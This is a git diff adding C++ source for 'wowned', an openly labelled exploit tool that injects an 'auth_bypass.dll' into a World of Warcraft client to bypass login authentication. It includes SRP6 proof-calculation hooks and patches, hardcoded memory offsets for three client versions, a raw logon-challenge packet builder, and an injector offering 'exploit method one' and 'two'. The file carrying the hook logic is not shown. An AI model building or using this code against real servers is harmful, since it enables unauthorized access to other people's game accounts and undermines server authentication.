a/auth_bypass/method.hpp b/auth_bypass/method.hpp new file mode 100644 index 0000000..d291021 --- /dev/null +++ b/auth_bypass/method.hpp @@ -0,0 +1,101 @@ +/* + MIT License + + Copyright (c) 2017, namreeb (legal@namreeb.org) + + Permission is hereby granted, free of charge, to any person obtaining a copy + of this software and associated documentation files (the "Software"), to deal + in the Software without restriction, including without limitation the rights + to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + copies of the Software, and to permit persons to whom the Software is + furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in all + copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + SOFTWARE. + */ + +#pragma once + +#include + +#include +#include +#include + +namespace method +{ +class Interface +{ + public: + // this class must have a body, even though we don't use it, or the lambda + // in method.cpp will not produce sane assembly + class WowConnection + { + int __unused; + }; + + using RealmSendT = int(__thiscall WowConnection::*)(void *data, int len, bool disableEncryption); + + private: + std::unique_ptr> m_realmSendHook; + + std::unique_ptr m_ignoreSRP6Patch; + + protected: + std::string m_username; + + public: + Interface(); + + const std::string &GetUsername() const { return m_username; } + + virtual bool IsOne() const = 0; +}; + +class One : public Interface +{ + private: + std::unique_ptr m_reconnectChallengePatch; + std::unique_ptr m_gruntClientLinkPatch; + + public: + One(); + + virtual bool IsOne() const { return true; } +}; + +class Two : public Interface +{ + private: + // this class must have a body, even though we don't use it, or the lambda + // in method.cpp will not produce sane assembly + class SRP6_Client + { + int __unused; + }; + + using CalculateProofT = int (__thiscall SRP6_Client::*)( + const std::uint8_t *N, unsigned int NLength, + const std::uint8_t *g, unsigned int gLength, + const std::uint8_t *s, unsigned int sLength, + const std::uint8_t *B, unsigned int BLength, + void *srpRandom); + + std::unique_ptr> m_calculateProofHook; + + public: + Two(); + + virtual bool IsOne() const { return false; } +}; + +extern std::unique_ptr gMethod; +} \ No newline at end of file diff --git a/auth_bypass/misc.cpp b/auth_bypass/misc.cpp new file mode 100644 index 0000000..f1d72f0 --- /dev/null +++ b/auth_bypass/misc.cpp @@ -0,0 +1,143 @@ +/* + MIT License + + Copyright (c) 2017, namreeb (legal@namreeb.org) + + Permission is hereby granted, free of charge, to any person obtaining a copy + of this software and associated documentation files (the "Software"), to deal + in the Software without restriction, including without limitation the rights + to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + copies of the Software, and to permit persons to whom the Software is + furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in all + copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + SOFTWARE. + */ + +#include "misc.hpp" +#include "CDataStore.hpp" +#include "socket.hpp" + +#include +#include +#include +#include +#include + +using GetRealmT = const char * (__thiscall *)(void *pThis); + +namespace misc +{ +const Offsets *Offsets::Current = nullptr; + +void GetgN(const std::string &username, std::vector &g, std::vector &N) +{ + auto const getRealm = reinterpret_cast(Offsets::Current->GetLogonServer); + auto const realmName = getRealm(nullptr); + + std::unique_ptr socket; + + if (auto const colon = strchr(realmName, ':')) + socket = std::make_unique(std::string(realmName, static_cast(colon - realmName)), std::atoi(colon + 1)); + else + socket = std::make_unique(realmName, 3724); + + try + { + socket->Connect(); + } + catch (boost::system::system_error const &e) + { + MessageBoxA(nullptr, e.what(), "GetN failed auth connect", 0); + } + + try + { + const std::uint32_t localAddress = (192 << 24) | (168 << 16) | ((rand() % 10) << 8) | (1 + (rand() % 254)); + + socket->PushEndBuffer(0); // CMD_AUTH_LOGON_CHALLENGE + socket->PushEndBuffer(0); // error = 0 + socket->PushEndBuffer(static_cast(30 + username.size())); // size + socket->PushEndBuffer('WoW\0'); // game name + socket->PushEndBuffer(1); // version major + socket->PushEndBuffer(12); // version minor + socket->PushEndBuffer(1); // version patch + socket->PushEndBuffer(5875); // version build + socket->PushEndBuffer('x86\0'); // platform + socket->PushEndBuffer('Win\0'); // operating system + socket->PushEndBuffer('enUS'); // locale + socket->PushEndBuffer(1); // timezone bias + socket->PushEndBuffer(localAddress); // local ip + socket->PushEndBuffer(static_cast(username.size())); // username length + socket->PushEndBuffer(username.c_str(), username.size()); // username + + if (!socket->WriteBuffer()) + throw std::runtime_error("Failed to write CMD_AUTH_LOGON_CHALLENGE"); + + std::uint8_t one; + + if (!socket->Read(one) || !!one) + throw std::runtime_error("Failed to read CMD_AUTH_LOGON_CHALLENGE"); + + if (!socket->Read(one) || !!one) + throw std::runtime_error("Unknown field in CMD_AUTH_LOGON_CHALLENGE is non-zero"); + + if (!socket->Read(one)) + throw std::runtime_error("Failed to read result from CMD_AUTH_LOGON_CHALLENGE"); + + switch (static_cast(one)) + { + case AuthResult::WOW_FAIL_BANNED: + throw std::runtime_error("Account is banned"); + case AuthResult::WOW_FAIL_SUSPENDED: + throw std::runtime_error("Account is temporarily suspended"); + case AuthResult::WOW_FAIL_UNKNOWN_ACCOUNT: + throw std::runtime_error("Unknown account"); + case AuthResult::WOW_SUCCESS: + break; + default: + throw std::runtime_error("Unknown response to CMD_AUTH_LOGON_CHALLENGE"); + } + + struct + { + std::uint8_t B[32]; + std::uint8_t g_len; + std::uint8_t g[1]; + std::uint8_t N_len; + std::uint8_t N[32]; + } challenge; + + if (!socket->Read(challenge)) + throw std::runtime_error("Failed to read challenge"); + + socket->Disconnect(); + + if (challenge.g_len > sizeof(challenge.g)) + throw std::runtime_error("g too big"); + + g.resize(challenge.g_len); + memcpy(&g[0], challenge.g, g.size()); + std::reverse(g.begin(), g.end()); + + if (challenge.N_len > sizeof(challenge.N)) + throw std::runtime_error("N too big"); + + N.resize(challenge.N_len); + memcpy(&N[0], challenge.N, N.size()); + std::reverse(N.begin(), N.end()); + } + catch (std::exception const &e) + { + MessageBoxA(nullptr, e.what(), "GetgN failure", 0); + } +} +} diff --git a/auth_bypass/misc.hpp b/auth_bypass/misc.hpp new file mode 100644 index 0000000..32a265b --- /dev/null +++ b/auth_bypass/misc.hpp @@ -0,0 +1,132 @@ +/* + MIT License + + Copyright (c) 2017, namreeb (legal@namreeb.org) + + Permission is hereby granted, free of charge, to any person obtaining a copy + of this software and associated documentation files (the "Software"), to deal + in the Software without restriction, including without limitation the rights + to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + copies of the Software, and to permit persons to whom the Software is + furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in all + copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + SOFTWARE. + */ + +#pragma once + +#include "CDataStore.hpp" + +#include +#include +#include + +namespace misc +{ +void GetgN(const std::string &username, std::vector &g, std::vector &N); + +enum class AuthResult : unsigned char +{ + WOW_SUCCESS = 0x00, + WOW_FAIL_UNKNOWN0 = 0x01, //< ? Unable to connect + WOW_FAIL_UNKNOWN1 = 0x02, //< ? Unable to connect + WOW_FAIL_BANNED = 0x03, //< This account has been closed and is no longer available for use. Please go to /banned.html for further information. + WOW_FAIL_UNKNOWN_ACCOUNT = 0x04, //< The information you have entered is not valid. Please check the spelling of the account name and password. If you need help in retrieving a lost or stolen password, see for more information + WOW_FAIL_INCORRECT_PASSWORD = 0x05, //< The information you have entered is not valid. Please check the spelling of the account name and password. If you need help in retrieving a lost or stolen password, see for more information + // client reject next login attempts after this error, so in code used WOW_FAIL_UNKNOWN_ACCOUNT for both cases + WOW_FAIL_ALREADY_ONLINE = 0x06, //< This account is already logged into . Please check the spelling and try again. + WOW_FAIL_NO_TIME = 0x07, //< You have used up your prepaid time for this account. Please purchase more to continue playing + WOW_FAIL_DB_BUSY = 0x08, //< Could not log in to at this time. Please try again later. + WOW_FAIL_VERSION_INVALID = 0x09, //< Unable to validate game version. This may be caused by file corruption or interference of another program. Please visit for more information and possible solutions to this issue. + WOW_FAIL_VERSION_UPDATE = 0x0A, //< Downloading + WOW_FAIL_INVALID_SERVER = 0x0B, //< Unable to connect + WOW_FAIL_SUSPENDED = 0x0C, //< This account has been temporarily suspended. Please go to /banned.html for further information + WOW_FAIL_FAIL_NOACCESS = 0x0D, //< Unable to connect + WOW_SUCCESS_SURVEY = 0x0E, //< Connected. + WOW_FAIL_PARENTCONTROL = 0x0F, //< Access to this account has been blocked by parental controls. Your settings may be changed in your account preferences at + WOW_FAIL_LOCKED_ENFORCED = 0x10, //< You have applied a lock to your account. You can change your locked status by calling your account lock phone number. + WOW_FAIL_TRIAL_ENDED = 0x11, //< Your trial subscription has expired. Please visit to upgrade your account. + WOW_FAIL_USE_BATTLENET = 0x12, //< WOW_FAIL_OTHER This account is now attached to a Battle.net account. Please login with your Battle.net account email address and password. +}; + +enum Version +{ + Classic = 0, + TBC, + WOTLK +}; + +constexpr struct Offsets +{ + static const Offsets *Current; + + std::uint32_t WowConnection__SendRaw; + std::uint32_t ReconnectChallengeHandler; + std::uint32_t IgnoreServerSRP6; + std::uint32_t GetLogonServer; + std::uint32_t GruntClientLinkInit; + std::uint32_t SRP6CalculateProof; + std::uint32_t GruntClientLinkState; + std::uint32_t GruntClientSessionKey; + std::uint32_t GruntClientLinkConnection; + std::uint32_t SRP6A; + std::uint32_t SRP6SessionKey; + std::uint32_t SRP6M; +} Versions[] = +{ + // Classic + { + 0x5B5DD0, + 0x85E2A0, + 0x5BAD49, + 0x5AB680, + 0x5B87C9, + 0x5D3650, + 0x80, + 0xA4, + 0x194, + 0x00, + 0x20, + 0x48 + }, + // TBC + { + 0x420710, + 0x910BF8, + 0x42276B, + 0x5B3D00, + 0x878909, + 0x5CCF10, + 0x84, + 0xA8, + 0x198, + 0x00, + 0x20, + 0x48 + }, + // WotLK + { + 0x467990, + 0xB24D28, + 0x8CC866, + 0x6B0F00, + 0x9D1819, + 0x9A83E0, + 0xA4, + 0xC8, + 0x1C8, + 0x00, + 0x20, + 0x48 + } +}; +} \ No newline at end of file diff --git a/auth_bypass/socket.hpp b/auth_bypass/socket.hpp new file mode 100644 index 0000000..357c165 --- /dev/null +++ b/auth_bypass/socket.hpp @@ -0,0 +1,212 @@ +/* + MIT License + + Copyright (c) 2017, namreeb (legal@namreeb.org) + + Permission is hereby granted, free of charge, to any person obtaining a copy + of this software and associated documentation files (the "Software"), to deal + in the Software without restriction, including without limitation the rights + to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + copies of the Software, and to permit persons to whom the Software is + furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in all + copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + SOFTWARE. + */ + +#pragma once + +#include +#include +#include +#include +#include +#include + +#include + +// It's not fast, but we're not doing HFT so who cares. +class Socket +{ +public: + explicit Socket(std::string const& hostname, int port) + : io_service_(), socket_(io_service_), resolver_(io_service_), query_(boost::asio::ip::tcp::v4(), hostname, std::to_string(port)) + { + } + + boost::asio::ip::tcp::resolver::iterator Connect() + { + boost::asio::ip::tcp::resolver::iterator iterator = resolver_.resolve(query_); + boost::asio::connect(socket_, iterator); + return iterator; + } + + void Disconnect() + { + socket_.close(); + } + + size_t BytesReadable() + { + boost::asio::socket_base::bytes_readable command(true); + socket_.io_control(command); + return command.get(); + } + + bool ReadRaw(void* p, std::size_t s) + { + boost::system::error_code error; + std::size_t const len = boost::asio::read(socket_, boost::asio::buffer(p, s), error); + if (len != s) + { + throw std::runtime_error("Invalid read size."); + } + return Validate(error); + } + + bool WriteRaw(void const* p, std::size_t s) + { + boost::system::error_code error; + std::size_t const len = boost::asio::write(socket_, boost::asio::buffer(p, s), error); + if (len != s) + { + throw std::runtime_error("Invalid write size."); + } + return Validate(error); + } + + void PushEndBuffer(void const* p, std::size_t s) + { + std::copy(static_cast(p), static_cast(p) + s, std::back_inserter(buffer_)); + } + + template void PushEndBuffer(T const& t) + { + static_assert(std::is_pod::value, "T must be POD."); + PushEndBuffer(&t, sizeof(t)); + } + + void PopFrontBuffer(void* p, std::size_t s) + { + assert(!buffer_.empty()); + assert(buffer_.size() > s); + + if (buffer_.size() < s) + { + throw std::runtime_error("Invalid buffer size."); + } + + std::copy(std::begin(buffer_), std::begin(buffer_) + s, static_cast(p)); + buffer_.erase(std::begin(buffer_), std::begin(buffer_) + s); + } + + template T PopFrontBuffer() + { + static_assert(std::is_trivially_copyable::value, "T must be POD."); + + T t; + PopFrontBuffer(&t, sizeof(t)); + return t; + } + + bool ReadBuffer(std::size_t s) + { + assert(buffer_.empty()); + buffer_.resize(s); + return ReadRaw(buffer_.data(), buffer_.size()); + } + + bool WriteBuffer() + { + assert(!buffer_.empty()); + auto const ret = WriteRaw(buffer_.data(), buffer_.size()); + buffer_.clear(); + return ret; + } + + void ClearBuffer() + { + buffer_.clear(); + } + + std::size_t GetBufferSize() const + { + return buffer_.size(); + } + + template bool Read(T& t) + { + static_assert(std::is_trivially_copyable::value, "T must be POD."); + + return ReadRaw(&t, sizeof(t)); + } + + bool ReadString(std::string& out) + { + char byte; + std::stringstream ret; + + do + { + if (!Read(byte)) + return false; + + if (!byte) + break; + + ret << byte; + } while (true); + + out = ret.str(); + return true; + } + + template bool Write(T const& t) + { + static_assert(std::is_trivially_copyable::value, "T must be POD."); + + return WriteRaw(&t, sizeof(t)); + } + + boost::asio::ip::tcp::endpoint GetLocalEndpoint() const + { + return socket_.local_endpoint(); + } + + bool IsClosed() const + { + return !socket_.is_open(); + } + +private: + bool Validate(boost::system::error_code const& error) const + { + if (error == boost::asio::error::eof) + { + // Connection closed cleanly by peer. + return false; + } + + if (error) + { + // Some other error. + throw boost::system::system_error(error); + } + + return true; + } + + boost::asio::io_service io_service_; + boost::asio::ip::tcp::socket socket_; + boost::asio::ip::tcp::resolver resolver_; + boost::asio::ip::tcp::resolver::query query_; + std::vector buffer_; +}; diff --git a/wowned.sln b/wowned.sln new file mode 100644 index 0000000..3e2d1a5 --- /dev/null +++ b/wowned.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 14 +VisualStudioVersion = 14.0.25123.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "wowned", "wowned\wowned.vcxproj", "{B358F7FB-968E-4718-9294-6DB85BFB5D3A}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "auth_bypass", "auth_bypass\auth_bypass.vcxproj", "{61917A75-1085-49E4-810D-2E0DC9882F62}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x86 = Debug|x86 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {B358F7FB-968E-4718-9294-6DB85BFB5D3A}.Debug|x86.ActiveCfg = Debug|Win32 + {B358F7FB-968E-4718-9294-6DB85BFB5D3A}.Debug|x86.Build.0 = Debug|Win32 + {B358F7FB-968E-4718-9294-6DB85BFB5D3A}.Release|x86.ActiveCfg = Release|Win32 + {B358F7FB-968E-4718-9294-6DB85BFB5D3A}.Release|x86.Build.0 = Release|Win32 + {61917A75-1085-49E4-810D-2E0DC9882F62}.Debug|x86.ActiveCfg = Debug|Win32 + {61917A75-1085-49E4-810D-2E0DC9882F62}.Debug|x86.Build.0 = Debug|Win32 + {61917A75-1085-49E4-810D-2E0DC9882F62}.Release|x86.ActiveCfg = Release|Win32 + {61917A75-1085-49E4-810D-2E0DC9882F62}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/wowned/main.cpp b/wowned/main.cpp new file mode 100644 index 0000000..0daab7e --- /dev/null +++ b/wowned/main.cpp @@ -0,0 +1,118 @@ +/* + MIT License + + Copyright (c) 2017, namreeb (legal@namreeb.org) + + Permission is hereby granted, free of charge, to any person obtaining a copy + of this software and associated documentation files (the "Software"), to deal + in the Software without restriction, including without limitation the rights + to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + copies of the Software, and to permit persons to whom the Software is + furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in all + copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + SOFTWARE. + */ + +#define NAME "wowned" +#define VERSION "v0.1" + +#include +#include +#include +#include + +#include +#include + +#include + +int main(int argc, char *argv[]) +{ + std::cout << NAME << " " << VERSION << " injector" << std::endl; + + std::wstring program; + bool enableConsole; + int method; + + boost::program_options::options_description desc("Allowed options"); + desc.add_options() + ("help,h", "display help message") + ("console,c", "enable wow console") + ("program,p", boost::program_options::wvalue(&program)->default_value(L"wow.exe", "wow.exe"), "path to wow binary") + ("1", "exploit method one") + ("2", "exploit method two"); + + try + { + boost::program_options::variables_map vm; + + boost::program_options::store(boost::program_options::parse_command_line(argc, argv, desc), vm); + boost::program_options::notify(vm); + + if (vm.count("help")) + { + std::cout << desc << std::endl; + return EXIT_SUCCESS; + } + + enableConsole = !!vm.count("console"); + + if (!vm.count("1") && !vm.count("2")) + { + std::cerr << "ERROR: No method chosen" << std::endl; + std::cerr << desc << std::endl; + + return EXIT_FAILURE; + } + + if (vm.count("1") && vm.count("2")) + { + std::cerr << "ERROR: Cannot use both methods simultaneously" << std::endl; + std::cerr << desc << std::endl; + + return EXIT_FAILURE; + } + + method = !!vm.count("1") ? 1 : 2; + } + catch (boost::program_options::error const &e) + { + std::cerr << "ERROR: " << e.what() << std::endl << std::endl; + std::cerr << desc << std::endl; + + return EXIT_FAILURE; + } + + try + { + std::vector createArgs; + + if (enableConsole) + createArgs.push_back(L"-console"); + + const hadesmem::CreateAndInjectData injectData = + hadesmem::CreateAndInject(program, L"", std::begin(createArgs), std::end(createArgs), + L"auth_bypass.dll", method == 1 ? "Load1" : "Load2", + hadesmem::InjectFlags::kPathResolution|hadesmem::InjectFlags::kAddToSearchOrder); + + std::cout << "Injected. Process ID: " << injectData.GetProcess().GetId() << std::endl; + } + catch (std::exception const &e) + { + std::cerr << std::endl << "ERROR: " << std::endl; + std::cerr << boost::diagnostic_information(e) << std::endl; + + return EXIT_FAILURE; + } + + return EXIT_SUCCESS; +} diff --git a/wowned/wowned.vcxproj b/wowned/wowned.vcxproj new file mode 100644 index 0000000..cb629a2 --- /dev/null +++ b/wowned/wowned.vcxproj @@ -0,0 +1,77 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + + {B358F7FB-968E-4718-9294-6DB85BFB5D3A} + wowned + 10.0.14393.0 + + + + Application + true + v141 + Unicode + + + Application + false + v141 + true + Unicode + + + + + + + + + + + + + + + + + Level3 + Disabled + true + _SCL_SECURE_NO_WARNINGS;_CRT_SECURE_NO_WARNINGS;ASMJIT_BUILD_X86;ASMJIT_STATIC;_MBCS;%(PreprocessorDefinitions) + + + shlwapi.lib;asmjit.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) + + + + + Level3 + MaxSpeed + true + true + true + _CRT_SECURE_NO_WARNINGS;ASMJIT_BUILD_X86;ASMJIT_STATIC;_MBCS;%(PreprocessorDefinitions) + + + true + true + shlwapi.lib;asmjit.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) + + + + + + + + + \ No newline at end of file diff --git a/wowned/wowned.vcxproj.filters b/wowned/wowned.vcxproj.filters new file mode 100644 index 0000000..670e3c4 --- /dev/null +++ b/wowned/wowned.vcxproj.filters @@ -0,0 +1,14 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + + + Source Files + + + \ No newline at end of file